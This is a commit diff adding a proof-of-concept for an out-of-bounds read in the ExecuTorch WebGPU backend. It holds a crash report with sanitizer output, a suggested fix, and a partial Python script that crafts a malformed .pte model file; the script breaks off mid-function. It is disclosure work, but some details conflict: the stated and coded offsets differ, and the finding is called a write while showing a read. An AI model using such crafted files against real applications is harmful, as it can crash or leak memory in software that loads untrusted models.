Add corrected WebGPU runtime PoC files
Browse files
runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md
ADDED
|
@@ -0,0 +1,200 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# ExecuTorch WebGPU Delegate β Runtime Crash Report
|
| 2 |
+
**Date:** 2026-07-14
|
| 3 |
+
**Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`
|
| 4 |
+
**Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`
|
| 5 |
+
**Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 β WebGPU missed it
|
| 6 |
+
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
## What this proves
|
| 10 |
+
|
| 11 |
+
A live runtime harness that exercises the exact vulnerable code path:
|
| 12 |
+
|
| 13 |
+
1. `WebGPUBackend.cpp:75` β only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
|
| 14 |
+
2. `WebGPUGraph.cpp:378` β `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
|
| 15 |
+
3. `WebGPUGraph.cpp:537-538` β `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
|
| 16 |
+
4. `WebGPUGraph.cpp:732-733` β `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` β **OOB read**
|
| 17 |
+
|
| 18 |
+
The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**
|
| 19 |
+
|
| 20 |
+
---
|
| 21 |
+
|
| 22 |
+
## Files
|
| 23 |
+
|
| 24 |
+
| File | Purpose |
|
| 25 |
+
|------|---------|
|
| 26 |
+
| `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
|
| 27 |
+
| `malformed_webgpu.pte` | The crafted payload |
|
| 28 |
+
| `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
|
| 29 |
+
| `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |
|
| 30 |
+
|
| 31 |
+
---
|
| 32 |
+
|
| 33 |
+
## Build & Run
|
| 34 |
+
|
| 35 |
+
```bash
|
| 36 |
+
# Generate the malformed .pte
|
| 37 |
+
python3 craft_malformed_webgpu_pte.py
|
| 38 |
+
|
| 39 |
+
# Build (macOS/Linux, clang required)
|
| 40 |
+
clang++ -std=c++17 -g \
|
| 41 |
+
-fsanitize=undefined \
|
| 42 |
+
-I~/executorch_vuln/third-party/flatbuffers/include \
|
| 43 |
+
-I. \
|
| 44 |
+
runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
|
| 45 |
+
|
| 46 |
+
./runtime_poc_webgpu_ubsan malformed_webgpu.pte
|
| 47 |
+
```
|
| 48 |
+
|
| 49 |
+
---
|
| 50 |
+
|
| 51 |
+
## Crash Output (confirmed, 2026-07-14)
|
| 52 |
+
|
| 53 |
+
> Note: UBSan alignment errors appear interleaved with PoC trace lines β both are caused by
|
| 54 |
+
> the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
|
| 55 |
+
> unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
|
| 56 |
+
> the primary OOB exploit primitive. Both are eliminated by the same two-line fix.
|
| 57 |
+
|
| 58 |
+
```
|
| 59 |
+
==========================================================
|
| 60 |
+
ExecuTorch WebGPU Delegate Runtime PoC
|
| 61 |
+
CVE class : CWE-787 (Out-of-bounds Write)
|
| 62 |
+
Source : backends/webgpu/runtime/WebGPUGraph.cpp
|
| 63 |
+
Root cause : GetVkGraph() called without flatbuffers::Verifier
|
| 64 |
+
Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13
|
| 65 |
+
==========================================================
|
| 66 |
+
|
| 67 |
+
[+] Loaded .pte: 396 bytes, identifier ET12
|
| 68 |
+
[+] WebGPU delegate payload: 238 bytes
|
| 69 |
+
[+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64
|
| 70 |
+
|
| 71 |
+
[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only β NO flatbuffers::Verifier)
|
| 72 |
+
[PoC] VkGraphBufferHasIdentifier: true
|
| 73 |
+
[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) β NO flatbuffers::Verifier
|
| 74 |
+
[UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
|
| 75 |
+
[PoC] GetVkGraph returned: 0x1061bdf62
|
| 76 |
+
|
| 77 |
+
[PoC] Entering WebGPUGraph::build() constant-source mapping
|
| 78 |
+
[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp
|
| 79 |
+
|
| 80 |
+
[UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
|
| 81 |
+
[UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
|
| 82 |
+
[PoC] graph->values()->size() = 1
|
| 83 |
+
[PoC] graph->constants()->size() = 1
|
| 84 |
+
[PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
|
| 85 |
+
[PoC] WebGPUGraph.cpp:516: constant_id=0
|
| 86 |
+
[UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
|
| 87 |
+
[PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
|
| 88 |
+
[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
|
| 89 |
+
[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
|
| 90 |
+
[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
|
| 91 |
+
[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff (NO bounds check vs constant_data size)
|
| 92 |
+
[PoC] constant_data section is 64 bytes β offset 0xffffffffffff is WAY past it
|
| 93 |
+
|
| 94 |
+
[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
|
| 95 |
+
[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
|
| 96 |
+
[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
|
| 97 |
+
[PoC] constant_data_ + cs.inline_offset, cs.nbytes)
|
| 98 |
+
[PoC] constant_data_ = 0x1061bdfde
|
| 99 |
+
[PoC] cs.inline_offset = 0xffffffffffff
|
| 100 |
+
[PoC] cs.nbytes = 16
|
| 101 |
+
[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***
|
| 102 |
+
|
| 103 |
+
[PoC] Executing OOB pointer arithmetic now...
|
| 104 |
+
[PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)
|
| 105 |
+
|
| 106 |
+
UndefinedBehaviorSanitizer:DEADLYSIGNAL
|
| 107 |
+
==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
|
| 108 |
+
#0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
|
| 109 |
+
#1 0x00019abafbe8 (<unknown module>)
|
| 110 |
+
SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
|
| 111 |
+
==11877==ABORTING
|
| 112 |
+
EXIT CODE: 134
|
| 113 |
+
```
|
| 114 |
+
|
| 115 |
+
---
|
| 116 |
+
|
| 117 |
+
## What the crash proves
|
| 118 |
+
|
| 119 |
+
The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
|
| 120 |
+
```cpp
|
| 121 |
+
volatile uint8_t byte = *oob_ptr; // oob_ptr = constant_data + 0xffffffffffff
|
| 122 |
+
```
|
| 123 |
+
|
| 124 |
+
This mirrors `WebGPUGraph.cpp:733`:
|
| 125 |
+
```cpp
|
| 126 |
+
wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
|
| 127 |
+
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
|
| 128 |
+
```
|
| 129 |
+
|
| 130 |
+
`wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.
|
| 131 |
+
|
| 132 |
+
---
|
| 133 |
+
|
| 134 |
+
## Payload anatomy
|
| 135 |
+
|
| 136 |
+
```
|
| 137 |
+
ExecuTorch Program (ET12, 396 bytes)
|
| 138 |
+
ββ ExecutionPlan "forward"
|
| 139 |
+
ββ BackendDelegate id="webgpu"
|
| 140 |
+
ββ WebGPU delegate payload (238 bytes)
|
| 141 |
+
ββ VH00 header (30 bytes)
|
| 142 |
+
β ββ flatbuffer_offset = 30
|
| 143 |
+
β ββ flatbuffer_size = 144
|
| 144 |
+
β ββ bytes_offset = 174
|
| 145 |
+
β ββ bytes_size = 64
|
| 146 |
+
ββ VkGraph FlatBuffer (VK00, 144 bytes)
|
| 147 |
+
β ββ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
|
| 148 |
+
β ββ constants[0]: VkBytes(offset=0xffffffffffff) β attacker-controlled OOB offset
|
| 149 |
+
ββ constant_data: 64 bytes of 0xAA β tiny; OOB is 281 TB past end
|
| 150 |
+
```
|
| 151 |
+
|
| 152 |
+
---
|
| 153 |
+
|
| 154 |
+
## Comparison: what Vulkan has that WebGPU is missing
|
| 155 |
+
|
| 156 |
+
**Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
|
| 157 |
+
```cpp
|
| 158 |
+
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 159 |
+
ET_CHECK_OR_RETURN_ERROR(
|
| 160 |
+
vkgraph::VerifyVkGraphBuffer(verifier),
|
| 161 |
+
DelegateInvalidCompatibility,
|
| 162 |
+
"VkGraph FlatBuffer verification failed");
|
| 163 |
+
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data); // safe: verifier ran
|
| 164 |
+
```
|
| 165 |
+
|
| 166 |
+
**WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
|
| 167 |
+
```cpp
|
| 168 |
+
// WebGPUBackend.cpp:75 β 4-byte check only:
|
| 169 |
+
if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
|
| 170 |
+
// ... then graph->build(flatbuffer_data, ...) is called at line 102 ...
|
| 171 |
+
|
| 172 |
+
// WebGPUGraph.cpp:378 β NO Verifier before this:
|
| 173 |
+
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
|
| 174 |
+
```
|
| 175 |
+
|
| 176 |
+
Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` β zero new code to write.
|
| 177 |
+
|
| 178 |
+
---
|
| 179 |
+
|
| 180 |
+
## Fix
|
| 181 |
+
|
| 182 |
+
```cpp
|
| 183 |
+
// Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
|
| 184 |
+
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 185 |
+
ET_CHECK_OR_RETURN_ERROR(
|
| 186 |
+
vkgraph::VerifyVkGraphBuffer(verifier),
|
| 187 |
+
DelegateInvalidCompatibility,
|
| 188 |
+
"WebGPU VkGraph FlatBuffer verification failed");
|
| 189 |
+
```
|
| 190 |
+
|
| 191 |
+
Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
|
| 192 |
+
```cpp
|
| 193 |
+
if (vk_bytes->offset() != UINT64_MAX) {
|
| 194 |
+
if (vk_bytes->offset() > hdr_bytes_size ||
|
| 195 |
+
vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
|
| 196 |
+
throw std::runtime_error("WebGPU: inline_offset OOB");
|
| 197 |
+
}
|
| 198 |
+
cs.inline_offset = vk_bytes->offset();
|
| 199 |
+
}
|
| 200 |
+
```
|
runtime_mps_poc/schemas/craft_malformed_webgpu_pte.py
ADDED
|
@@ -0,0 +1,251 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
craft_malformed_webgpu_pte.py
|
| 4 |
+
|
| 5 |
+
Generates malformed_webgpu.pte β a real ExecuTorch .pte file that triggers
|
| 6 |
+
the OOB read/write in WebGPUGraph.cpp:732-733 when loaded by the WebGPU backend.
|
| 7 |
+
|
| 8 |
+
Bug:
|
| 9 |
+
WebGPUBackend.cpp:75 β only a 4-byte VkGraphBufferHasIdentifier check; no Verifier
|
| 10 |
+
WebGPUGraph.cpp:378 β GetVkGraph(flatbuffer_data) called with NO flatbuffers::Verifier
|
| 11 |
+
WebGPUGraph.cpp:537-538 β cs.inline_offset = vk_bytes->offset() with NO bounds check
|
| 12 |
+
WebGPUGraph.cpp:732-733 β wgpuQueueWriteBuffer(queue_, dst, 0,
|
| 13 |
+
constant_data_ + cs.inline_offset, cs.nbytes)
|
| 14 |
+
-> OOB read (cs.inline_offset is attacker-controlled)
|
| 15 |
+
|
| 16 |
+
Compare: Vulkan (same vkgraph schema, patched 2026-05-13) adds:
|
| 17 |
+
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
|
| 18 |
+
VerifyVkGraphBuffer(verifier);
|
| 19 |
+
before GetVkGraph(). WebGPU has the identifier check but not the verifier.
|
| 20 |
+
|
| 21 |
+
Usage:
|
| 22 |
+
python3 craft_malformed_webgpu_pte.py
|
| 23 |
+
# Produces: malformed_webgpu.pte
|
| 24 |
+
"""
|
| 25 |
+
|
| 26 |
+
import sys, os, struct
|
| 27 |
+
import flatbuffers
|
| 28 |
+
from flatbuffers import builder as fb_builder
|
| 29 |
+
|
| 30 |
+
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
|
| 31 |
+
from vkgraph import VkGraph, VkValue, VkTensor, VkBytes
|
| 32 |
+
from executorch_flatbuffer import (
|
| 33 |
+
Program, ExecutionPlan, BackendDelegate,
|
| 34 |
+
BackendDelegateInlineData, BackendDelegateDataReference
|
| 35 |
+
)
|
| 36 |
+
|
| 37 |
+
|
| 38 |
+
def build_vkgraph_flatbuffer():
|
| 39 |
+
"""
|
| 40 |
+
Build a VkGraph FlatBuffer with:
|
| 41 |
+
- values[0]: VkTensor(datatype=FLOAT32, dims=[4], constant_id=0)
|
| 42 |
+
- constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
|
| 43 |
+
|
| 44 |
+
When WebGPUGraph.cpp processes this:
|
| 45 |
+
- tensor.nbytes = 4 * 4 = 16 (numel=4, elem_size=4 for FLOAT32)
|
| 46 |
+
- cs.nbytes = 16
|
| 47 |
+
- cs.inline_offset = 0xFFFFFFFFFFFFFFFE (not UINT64_MAX sentinel)
|
| 48 |
+
-> constant_data_ + 0xFFFFFFFFFFFFFFFE -> OOB
|
| 49 |
+
"""
|
| 50 |
+
b = flatbuffers.Builder(512)
|
| 51 |
+
|
| 52 |
+
# --- VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16) ---
|
| 53 |
+
VkBytes.VkBytesStart(b)
|
| 54 |
+
VkBytes.VkBytesAddOffset(b, 0x0000FFFFFFFFFFFF) # attacker-controlled OOB offset (not UINT64_MAX sentinel)
|
| 55 |
+
VkBytes.VkBytesAddLength(b, 16)
|
| 56 |
+
vk_bytes = VkBytes.VkBytesEnd(b)
|
| 57 |
+
|
| 58 |
+
# --- constants vector ---
|
| 59 |
+
VkGraph.VkGraphStartConstantsVector(b, 1)
|
| 60 |
+
b.PrependUOffsetTRelative(vk_bytes)
|
| 61 |
+
constants_vec = b.EndVector(1)
|
| 62 |
+
|
| 63 |
+
# --- VkTensor(datatype=FLOAT32=5, dims=[4], constant_id=0, mem_obj_id=-1) ---
|
| 64 |
+
dims_data = b.CreateNumpyVector(__import__('numpy').array([4], dtype='uint32')) \
|
| 65 |
+
if False else None
|
| 66 |
+
|
| 67 |
+
# Build dims vector manually
|
| 68 |
+
b.StartVector(4, 1, 4)
|
| 69 |
+
b.PrependUint32(4)
|
| 70 |
+
dims_vec = b.EndVector(1)
|
| 71 |
+
|
| 72 |
+
VkTensor.VkTensorStart(b)
|
| 73 |
+
VkTensor.VkTensorAddDatatype(b, 5) # FLOAT32
|
| 74 |
+
VkTensor.VkTensorAddDims(b, dims_vec)
|
| 75 |
+
VkTensor.VkTensorAddConstantId(b, 0) # points to constants[0]
|
| 76 |
+
VkTensor.VkTensorAddMemObjId(b, -1)
|
| 77 |
+
vk_tensor = VkTensor.VkTensorEnd(b)
|
| 78 |
+
|
| 79 |
+
# --- VkValue wrapping the tensor ---
|
| 80 |
+
VkValue.VkValueStart(b)
|
| 81 |
+
VkValue.VkValueAddValueType(b, 5) # GraphTypes_VkTensor = 5
|
| 82 |
+
VkValue.VkValueAddValue(b, vk_tensor)
|
| 83 |
+
vk_value = VkValue.VkValueEnd(b)
|
| 84 |
+
|
| 85 |
+
# --- values vector ---
|
| 86 |
+
VkGraph.VkGraphStartValuesVector(b, 1)
|
| 87 |
+
b.PrependUOffsetTRelative(vk_value)
|
| 88 |
+
values_vec = b.EndVector(1)
|
| 89 |
+
|
| 90 |
+
# --- input_ids = [0] ---
|
| 91 |
+
VkGraph.VkGraphStartInputIdsVector(b, 1)
|
| 92 |
+
b.PrependUint32(0)
|
| 93 |
+
input_ids = b.EndVector(1)
|
| 94 |
+
|
| 95 |
+
# --- VkGraph root ---
|
| 96 |
+
VkGraph.VkGraphStart(b)
|
| 97 |
+
VkGraph.VkGraphAddValues(b, values_vec)
|
| 98 |
+
VkGraph.VkGraphAddConstants(b, constants_vec)
|
| 99 |
+
VkGraph.VkGraphAddInputIds(b, input_ids)
|
| 100 |
+
graph = VkGraph.VkGraphEnd(b)
|
| 101 |
+
|
| 102 |
+
b.Finish(graph)
|
| 103 |
+
buf = bytes(b.Output())
|
| 104 |
+
|
| 105 |
+
# Patch file identifier to "VK00" at bytes 4-7
|
| 106 |
+
buf = buf[:4] + b"VK00" + buf[8:]
|
| 107 |
+
return buf
|
| 108 |
+
|
| 109 |
+
|
| 110 |
+
def build_webgpu_delegate_payload(vkgraph_buf):
|
| 111 |
+
"""
|
| 112 |
+
Build the WebGPU delegate payload:
|
| 113 |
+
[0..3] : 0x00000000 (unused prefix)
|
| 114 |
+
[4..7] : "VH00" magic
|
| 115 |
+
[8..9] : header_size = 30 (uint16 LE)
|
| 116 |
+
[10..13] : flatbuffer_offset = 30 (uint32 LE)
|
| 117 |
+
[14..17] : flatbuffer_size = len(vkgraph_buf) (uint32 LE)
|
| 118 |
+
[18..21] : bytes_offset = 30 + len(vkgraph_buf) (uint32 LE)
|
| 119 |
+
[22..29] : bytes_size = 64 (uint64 LE)
|
| 120 |
+
[30+] : VkGraph FlatBuffer
|
| 121 |
+
[30+fb_size+] : 64 bytes constant data (tiny, so OOB is obvious)
|
| 122 |
+
"""
|
| 123 |
+
fb_size = len(vkgraph_buf)
|
| 124 |
+
bytes_offset = 30 + fb_size
|
| 125 |
+
bytes_size = 64
|
| 126 |
+
constant_data = b'\xAA' * bytes_size # recognizable fill
|
| 127 |
+
|
| 128 |
+
header = (
|
| 129 |
+
b'\x00\x00\x00\x00' # [0..3] prefix
|
| 130 |
+
b'VH00' # [4..7] magic
|
| 131 |
+
+ struct.pack('<H', 30) # [8..9] header_size
|
| 132 |
+
+ struct.pack('<I', 30) # [10..13] flatbuffer_offset
|
| 133 |
+
+ struct.pack('<I', fb_size) # [14..17] flatbuffer_size
|
| 134 |
+
+ struct.pack('<I', bytes_offset) # [18..21] bytes_offset
|
| 135 |
+
+ struct.pack('<Q', bytes_size) # [22..29] bytes_size
|
| 136 |
+
)
|
| 137 |
+
assert len(header) == 30
|
| 138 |
+
|
| 139 |
+
return header + vkgraph_buf + constant_data
|
| 140 |
+
|
| 141 |
+
|
| 142 |
+
def build_executorch_program(delegate_payload):
|
| 143 |
+
"""
|
| 144 |
+
Wrap the WebGPU delegate payload in an ExecuTorch Program FlatBuffer
|
| 145 |
+
with backend_id="webgpu" and a single BackendDelegateInlineData entry.
|
| 146 |
+
"""
|
| 147 |
+
b = flatbuffers.Builder(1024)
|
| 148 |
+
|
| 149 |
+
# Inline data blob
|
| 150 |
+
payload_vec = b.CreateByteVector(delegate_payload)
|
| 151 |
+
|
| 152 |
+
BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
|
| 153 |
+
BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, payload_vec)
|
| 154 |
+
inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)
|
| 155 |
+
|
| 156 |
+
# BackendDelegateDataReference pointing to inline_data
|
| 157 |
+
BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
|
| 158 |
+
BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
|
| 159 |
+
data_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)
|
| 160 |
+
|
| 161 |
+
# backend_id string
|
| 162 |
+
backend_id = b.CreateString("webgpu")
|
| 163 |
+
|
| 164 |
+
# BackendDelegate
|
| 165 |
+
BackendDelegate.BackendDelegateStart(b)
|
| 166 |
+
BackendDelegate.BackendDelegateAddId(b, backend_id)
|
| 167 |
+
BackendDelegate.BackendDelegateAddProcessed(b, data_ref)
|
| 168 |
+
delegate = BackendDelegate.BackendDelegateEnd(b)
|
| 169 |
+
|
| 170 |
+
# delegates vector
|
| 171 |
+
ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
|
| 172 |
+
b.PrependUOffsetTRelative(delegate)
|
| 173 |
+
delegates_vec = b.EndVector(1)
|
| 174 |
+
|
| 175 |
+
# backend_delegate_data vector (holds the inline blob)
|
| 176 |
+
Program.ProgramStartBackendDelegateDataVector(b, 1)
|
| 177 |
+
b.PrependUOffsetTRelative(inline_data)
|
| 178 |
+
bdd_vec = b.EndVector(1)
|
| 179 |
+
|
| 180 |
+
# name
|
| 181 |
+
plan_name = b.CreateString("forward")
|
| 182 |
+
|
| 183 |
+
# ExecutionPlan
|
| 184 |
+
ExecutionPlan.ExecutionPlanStart(b)
|
| 185 |
+
ExecutionPlan.ExecutionPlanAddName(b, plan_name)
|
| 186 |
+
ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
|
| 187 |
+
plan = ExecutionPlan.ExecutionPlanEnd(b)
|
| 188 |
+
|
| 189 |
+
# execution_plan vector
|
| 190 |
+
Program.ProgramStartExecutionPlanVector(b, 1)
|
| 191 |
+
b.PrependUOffsetTRelative(plan)
|
| 192 |
+
plan_vec = b.EndVector(1)
|
| 193 |
+
|
| 194 |
+
# Program root
|
| 195 |
+
Program.ProgramStart(b)
|
| 196 |
+
Program.ProgramAddExecutionPlan(b, plan_vec)
|
| 197 |
+
Program.ProgramAddBackendDelegateData(b, bdd_vec)
|
| 198 |
+
prog = Program.ProgramEnd(b)
|
| 199 |
+
|
| 200 |
+
b.Finish(prog)
|
| 201 |
+
raw = bytes(b.Output())
|
| 202 |
+
|
| 203 |
+
# Patch ET12 identifier
|
| 204 |
+
return raw[:4] + b"ET12" + raw[8:]
|
| 205 |
+
|
| 206 |
+
|
| 207 |
+
def main():
|
| 208 |
+
print("[*] Building VkGraph FlatBuffer payload...")
|
| 209 |
+
vkgraph_buf = build_vkgraph_flatbuffer()
|
| 210 |
+
print(f" VkGraph: {len(vkgraph_buf)} bytes, identifier: {vkgraph_buf[4:8]}")
|
| 211 |
+
|
| 212 |
+
print("[*] Building WebGPU delegate payload (VH00 header + vkgraph + constant data)...")
|
| 213 |
+
delegate_payload = build_webgpu_delegate_payload(vkgraph_buf)
|
| 214 |
+
print(f" Delegate payload: {len(delegate_payload)} bytes")
|
| 215 |
+
print(f" Header magic: {delegate_payload[4:8]}")
|
| 216 |
+
print(f" Flatbuffer offset: {struct.unpack('<I', delegate_payload[10:14])[0]}")
|
| 217 |
+
print(f" Constant data offset: {struct.unpack('<I', delegate_payload[18:22])[0]}")
|
| 218 |
+
